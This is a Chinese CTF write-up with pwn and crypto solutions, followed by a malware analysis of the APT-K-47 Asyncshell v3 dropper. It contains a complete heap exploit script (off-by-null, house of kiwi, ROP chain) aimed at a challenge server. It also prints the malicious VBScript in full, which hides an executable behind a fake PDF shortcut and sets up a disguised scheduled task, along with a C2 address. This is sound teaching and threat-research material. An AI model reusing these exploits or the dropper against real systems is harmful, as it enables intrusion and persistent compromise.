print("Decrypted flag:", flag)

PWN

pwn1

from pwn import *
io = process('./guess')
elf = ELF('./guess')
context(log_level='debug')
for i in range(0x14):
    io.recvuntil(b'input your guess\n')
    payload = b'777'
    payload = payload.ljust(8,b'\x00')
    io.send(payload)
io.recvuntil("good!\n")
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str("+"))
io.sendline(str(0xdeadbeef))
io.sendline(str(0x4012db))
io.interactive()

pwn2

打开ida发现edit功能存在off by null的漏洞

这里观察show函数发现了存在加密,经过观察发现是RC4,这里找gpt获得解密脚本

Free函数无uaf

Add函数只能申请固定大小堆块,libc版本为2.34,很容易想到通过那个off by null利用house of kiwi进行攻击

from pwn import*  
from Crypto.Cipher import ARC4
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./heap')
p= remote('139.155.126.78',31054)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))   
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])  
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))  
def bug():
    gdb.attach(p)
    pause() 
def cmd(a):
    sla(b'CHOICE: ',str(a))      
def add():
    cmd(1) 
def edit(idx,size,content):
    cmd(2)
    sla(b'INDEX: ',str(idx))
    sla(b'SIZE: ',str(size))
sa(b'CONTENT: ',content)  
def show(idx):
    cmd(3)
    sla(b'INDEX: ',str(idx))   
def free(idx):
    cmd(4)
    sla(b'INDEX: ',str(idx))
def decode(pay, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(pay)
    return res
rc4_key = "\x7f\x45\x4c\x46\x02\x01\x01"

for i in range(15):
         add()
for i in range(3,10):
         free(i)
free(0)
free(1)
free(2)
for i in range(10):
        add()
show(9)
p.recv(5)
key = u64(decode(p.recv(5),rc4_key).ljust(8,b"\x00"))
heap_base = key << 12
li(key)
li(heap_base)
show(8)
p.recv(5)
libc_base = u64(decode(p.recv(6),rc4_key).ljust(8,b'\x00'))-0x1f2cc0
li(libc_base)
for i in range(7):
        free(i)
edit(7,0xf8,p64(heap_base+0x470)*2)
free(8)
for i in range(8):
         add()
free(9)
free(8)
ret=libc_base+libc.search(asm("ret")).__next__()
rdi=libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi=libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax=libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,bin=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
puts=libc_base + libc.sym['puts']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base + libc.sym['setcontext'] + 61
rdx=libc_base+0x0000000000087759 #rdx,rbx
_IO_file_jumps = libc_base + 0x1f4560 + 0x60
_IO_helper_jumps = libc_base + 0x1f3960 + 0xa0
flag = heap_base + 0x1280 + 0xd0

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open)
orw +=p64(rdi) + p64(3) + p64(rsi) + p64(flag+0x10) + p64(rdx) + p64(0x100) + p64(0)+ p64(read)
orw +=p64(rdi) + p64(flag+0x10) + p64(puts)
orw = orw.ljust(0xd0 ,b"\x00")
orw += b'./flag\x00'
edit(7,0x10,p64(key ^ _IO_helper_jumps))
edit(14,0xf0,orw)
add() #8
add() #9
edit(9,0x10,p64(heap_base+0x1280) + p64(rdi+1))
free(10)
free(8)
edit(7,0x10,p64(key ^ _IO_file_jumps))
add() #8
add() #10
edit(10,0x10,p64(setcontext))
free(11)
free(8)
edit(7,0x10,p64(key^(heap_base + 0x1370)))
add() #8
add() #11
edit(11,0x10,p64(0)*2)
add()
add()

inter()

CRYPTO

bbb

强网杯apbq的part三,造了一通格子才认出来

from gmpy2 import *
from Crypto.Util.number import *
c=242319185698105966655811445195646165772013130518334334162252266969002201624779527078330676453235767390330780831161760574272413824450562363719470733193743162466341642825448999475127421027884538732952287818775578674011266584557436930741593502788559576089268405727954506642287558247104400841378166608643114577097136065234590225310895617443375941573228936034616455500751983362999490808023115657533450432557813185878160445309856767963194393138873447889804383396880767349563873409518315199704565143016369326672458639559958597154697965186545110678201108512625438329575629949086827161665402396440860960941415911878862932716
n=441522587869616749138797465532639436283961259111657934966888819387372178302775576376364712193076049405075347561837908020324373038749442055032833183300869647615172010963365836986154161648583082757314769298002257388631720849937763680726838132583378677561490049437481683836064669759255586303448222204575037683338662178295455778491007161112769510561185414715476484798533243282400251263092618695814970950180618826257642818430948899210822780087415109643704831306938196522011291127467370515424147721491645066322779363762109668238230739500744231601240751975467633389119737701026132439742280472955562542076451393469920709413
hint1=17817487943395422123342006438258298667428179946815051779848621580624602814557544233549701919939506547723962007508306809894299353166612229227579979518255525215296169402087911021532151814442967358027333089703201268353220339693072081576004483475155871334555810758463081853120188212504620113353614966771724444858136947027458226965305234232387086706519521150015910958417759945074484984220668424317692306964197465165961371032147311046782902947408983728409112857203221763810582563523855808203892411140679241411269431868123802101895164298037477881517928173151858504248818439471985658479639214407136813866163781042862874376623
hint2=507655543445719887393880289556052316199636906666104900190345863932916388145030360549029392536646985738191345835942055042349983029079001998686154728826856491260487483477968537386815513137401032976334169717301621583119046594107288445735196550464169567662623283761689493622187333261306587925390376485660497678023692394093269747965940785720005284184547408047483424966456717371657844981405816595512464907300400643958535745888734700846913746348325704420535690307781666535468546394350875710786845456727290841831099933648037602469321163771162452711978551964177586237673498624172843090041809878011155422986987754596960646442

x=hint1
y=hint2
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)

_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
for p_upper_bits in range(16):
    p_upper = p_upper_bits << 1020
    for q_upper_bits in range(16):
        q_upper = q_upper_bits << 1020
        M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
        B = M.LLL()
        for b in B:
            if b[-1] == S:
                if b[1] < 0:
                    b *= -1
                p_guess = b[1] + p_upper
                q_guess = b[2] + q_upper
                if p_guess * q_guess == n:
                    d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
                    message = int(pow(c, d, n))
                    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
                    print(message_bytes)

APT-K-47 Asyncshell Version3 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

APT-K-47 从2023年开始频繁使用 Asyncshell 发起攻击活动,并逐步对攻击链和载荷代码进行升级,本样本于2024年7月捕获,为 Asyncshell 的第二代变种,记作 Asyncshell-Version3

同期样本MD5:

7728fee377137e83e9bd1c609cc166c0

dad7d9528e9506ebd0524b3ebd89ddf2

攻击链条:

image

图片来自知道创宇404实验室

样本分析

MD5值:b28bb7cabfb12e9bc5b87692b065c83a

image

文件结构分为两部分,一个是文件夹_Anx​里面是攻击载荷,另外一个是伪装成pdf的lnk快捷方式。

image

image

C:\Windows\System32\cscript.exe _Anx\_Anx\Anx.vbs

调用cscript.exe​运行_Anx\_Anx​下的恶意代码

image

其中AnxAnx.vbsfilename.lnkSysConfig.enc 为隐藏文件,Islamabad_Security_Dialogue_Pub.pdf 为正常pdf文件,内容为2021届伊斯兰堡安全对话

MD5值:162a9b9aee469b8de10c37c6311906cd

image

Anx.vbs脚本的主要作用是移动文件、创建计划任务,并执行恶意代码

MD5值:c3d460ac3a93e86782c2bc374aa5ecd2

REM 为了便于阅读,我添加了注释
Dim objFSO
Dim strFilePath
Dim strNewFilePath

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Dim currentPath
currentPath = objFSO.GetAbsolutePathName(".") 
strFilePath = currentPath & "\_Anx\_Anx\Anx"
strNewFilePath = strFilePath & ".exe"   '_Anx\_Anx\Anx 重命名为 Anx.exe
objFSO.MoveFile strFilePath, strNewFilePath
Set objFSO = Nothing

Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")

Dim sourcePath,destinationPath,deleteFile,runfile,runfile2
sourcePath = currentPath & "\_Anx\_Anx\Islamabad_Security_Dialogue_Pub.pdf"
destinationPath = currentPath & "\Islamabad_Security_Dialogue_Pub.pdf"  '将Islamabad_Security_Dialogue_Pub.pdf 移动到根目录并命名为 Islamabad_Security_Dialogue_Pub.pdf
deleteFile = currentPath &  "\Islamabad_Security_Dialogue_Pub.pdf.lnk"  '删除伪装的快捷方式
runfile = Chr(34) & currentPath & "\_Anx\_Anx\Anx.exe" & Chr(34)
runfile2 = currentPath & "\_Anx\_Anx\Anx.exe"
runfile3 = currentPath & "\_Anx\_Anx\SysConfig.enc"
fso.MoveFile sourcePath, destinationPath
fso.DeleteFile deleteFile

Dim tempFolder, tempPath
tempFolder = fso.GetSpecialFolder(2)
tempPath = tempFolder & "\Anx.exe"
tempPath2 = tempFolder & "\SysConfig.enc"
fso.CopyFile runfile2, tempPath, True
fso.CopyFile runfile3, tempPath2, True

Dim v1
v1 = Chr(34) & destinationPath & Chr(34)
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run v1, 0, False
WshShell.Run runfile, 0, False 
Set WshShell = Nothing

Dim shellPath
Dim taskName   '设定计划任务'

    shellPath = tempPath
    taskName = "WindowsBackgroundService"  '计划任务命名为WindowsBackgroundService'
    Const TriggerTypeDaily = 1
    Const ActionTypeExec = 0
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Update"
    regInfo.Author = "Microsoft"

    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = False
    settings.DisallowStartIfOnBatteries = False

    Dim triggers
    Set triggers = taskDefinition.triggers

    Dim trigger
    On Error Resume Next
        CreateObject("WScript.Shell").RegRead ("HKEY_USERS\S-1-5-19\Environment\TEMP")
        If Err.Number = 0 Then
            IsAdmin = True
            Set trigger = triggers.Create(8)
        Set trigger = triggers.Create(9)
        Else
            IsAdmin = False
        End If
        Err.Clear
        On Error GoTo 0
        '使用 WScript.Shell.RegRead 检查注册表项,以判断是否具有管理员权限。如果是管理员权限,则尝试配置更多类型的触发器。
    Set trigger = triggers.Create(7)
    Set trigger = triggers.Create(6)
    Set trigger = triggers.Create(TriggerTypeDaily)
    Dim startTime, endTime

    Dim time

    time = DateAdd("n", 2, Now)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(time)
    cMinute = "0" & Minute(time)
    CHour = "0" & Hour(time)
    cDay = "0" & Day(time)
    cMonth = "0" & Month(time)
    cYear = Year(time)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    startTime = tDate & "T" & tTime

    endTime = "2099-05-02T10:52:02"   '持续运行到 2099 年
    trigger.StartBoundary = startTime
    trigger.EndBoundary = endTime
    trigger.ID = "TimeTriggerId"
    trigger.Enabled = True

    Dim repetitionPattern
    Set repetitionPattern = trigger.Repetition
    repetitionPattern.Interval = "PT59M" '
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = shellPath
    Action.arguments = ""
    Dim objNet, LoginUser
    Set objNet = CreateObject("WScript.Network")
    LoginUser = objNet.UserName

        If UCase(LoginUser) = "SYSTEM" Then
        Else
        LoginUser = Empty
        End If

    Call rootFolder.RegisterTaskDefinition(taskName, taskDefinition, 6, LoginUser, , 3)

Anx.exe MD5值:316e8d798f7db625c207532e2f7a5d38

image

存在混淆加密,exeinfo查看一下:

image

ConfuserEx 可以用 de4dot 进行反编译,

使用ConfuserEx加密混淆程序以及如何脱壳反编译-CSDN博客

然后拿dnspy得到原本逻辑

exe由C#语言编写

Sysconfig.enc 的解密函数:

image

    private static string smethod_2(string string_2, byte[] byte_1)
    {
        string result;
        try
        {
            byte[] buffer = Class0.smethod_3(File.ReadAllText(string_2));
            using (Aes aes = Aes.Create())
            {
                aes.Key = byte_1;
                using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    byte[] array = new byte[16];
                    memoryStream.Read(array, 0, array.Length);
                    aes.IV = array;
                    using (ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV))
                    {
                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
                        {
                            using (StreamReader streamReader = new StreamReader(cryptoStream))
                            {
                                result = streamReader.ReadToEnd();
                            }
                        }
                    }
                }
            }
        }

很明显的AES解密,

image

AES类型是CBC,

Key:CABE08AAAD1B49AABEE701762A39ADF2865EE10160F9A726ACC8B7589FA2BF0C

image

IV:image

得到:

image

IP:46.183.187.42​ Port:443

微步标签如下:

image

image
image

此外,在样本中我们发现有多余的快捷方式

image

通过追踪该文件MD5 ae55cb4988f2f45197132631f5a86632​,可以关联到具有类似压缩包目录结构的钓鱼样本。

参考链接

APT-K-47 武器披露之 Asyncshell 的前世今生

疑似 Mysterious Elephant 组织利用 CHM 文件攻击南亚多国